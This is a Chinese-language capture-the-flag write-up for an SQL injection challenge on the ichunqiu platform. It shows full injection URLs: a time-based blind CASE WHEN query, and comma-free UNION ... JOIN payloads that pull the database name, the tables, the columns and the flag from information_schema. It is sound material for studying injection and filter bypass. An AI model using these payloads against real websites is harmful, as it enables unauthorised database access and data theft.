题目在i春秋ctf大本营
看网页源码提示:
这边是个大坑,访问login.php发现根本不存在注入点,看了wp才知道注入点在l0gin.php
尝试order by语句,发现3的时候页面发生变化,说明id存在注入
初步判定是一个基于时间的盲注
直接上注入语句:
发现并没有发生延迟,看返回页面“,”后面的语句都被过滤了,这就说明逗号在这里不能用,那么if语句就失效了
这里可以用select case when then语句代替,详细可以参考前之前的文章:
实验吧_who are you?(盲注)
这里的python代码稍加修改就能用了
经过测试,发现数据库名为4位
当我想拿去python中跑的时候,出现了如下语句
竟然说我请求的url太大.......但我转而手工尝试了注入语句发现是可行,页面会发生延迟
http://64202c9256424155a22617ee3b2168abc08902cd28994fe0.game.ichunqiu.com/l0gin.php?id=1' and case when (substring((select database()) from 1 for 1)='s') then sleep(5) else sleep(0) end and '1'='1
但python中死活跑不了......
但总不能全部手工吧,那得解到猴年马月,去寻找另一种方法
查阅了wp后,文中提到了另一种不需要逗号的注入:
http://blog.csdn.net/qq_33020901/article/details/78906268
先看数据库名和版本:
http://64202c9256424155a22617ee3b2168abc08902cd28994fe0.game.ichunqiu.com/l0gin.php?id=id=1' union select * from (select database()) a join (select version() ) b %23
接着查表:
http://64202c9256424155a22617ee3b2168abc08902cd28994fe0.game.ichunqiu.com/l0gin.php?id=id=1' union select * from (select group_concat(table_name) from information_schema.tables where table_schema='sqli') a join (select version() ) b %23
字段:
http://64202c9256424155a22617ee3b2168abc08902cd28994fe0.game.ichunqiu.com/l0gin.php?id=id=1' union select * from (select group_concat(column_name) from information_schema.columns where table_name='users') a join (select version() ) b %23
data:
http://64202c9256424155a22617ee3b2168abc08902cd28994fe0.game.ichunqiu.com/l0gin.php?id=id=1' union select * from (select flag_9c861b688330 from users) a join (select version() ) b %23